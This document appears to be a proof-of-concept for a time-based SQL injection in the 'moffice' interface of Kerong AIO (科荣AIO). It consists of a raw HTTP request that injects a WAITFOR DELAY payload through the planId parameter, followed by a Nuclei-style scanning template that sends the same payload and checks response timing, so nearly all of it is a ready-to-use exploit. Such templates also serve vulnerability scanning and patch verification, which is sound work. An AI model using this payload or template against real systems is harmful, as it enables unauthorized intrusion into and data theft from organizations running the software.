科荣AIO moffice接口 SQL注入漏洞POC

GET /moffice?op=showWorkPlan&planId=1';WAITFOR+DELAY+'0:0:10'--&sid=1 HTTP/1.1Host: 192.168.31.133:8000User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://192.168.31.133:8000/login.jspConnection: closeUpgrade-Insecure-Requests: 1

id: kerongAIO-sqliinfo:  name: 科荣AIO moffice接口 SQL注入漏洞  author: 紫色皓月  severity: high  description: 科荣AIO moffice接口 SQL注入漏洞  tags: 2024,科荣AIO,sqlirequests:  - raw:    - |      GET /moffice?op=showWorkPlan&planId=1';WAITFOR+DELAY+'0:0:5'--&sid=1 HTTP/1.1      Host: {{Hostname}}      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8      Accept-Language: en-US,en;q=0.5      Accept-Encoding: gzip, deflate      Referer: http://{{Hostname}}/login.jsp      Connection: close      Upgrade-Insecure-Requests: 1    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'duration>=5 && duration<=8 && status_code==200'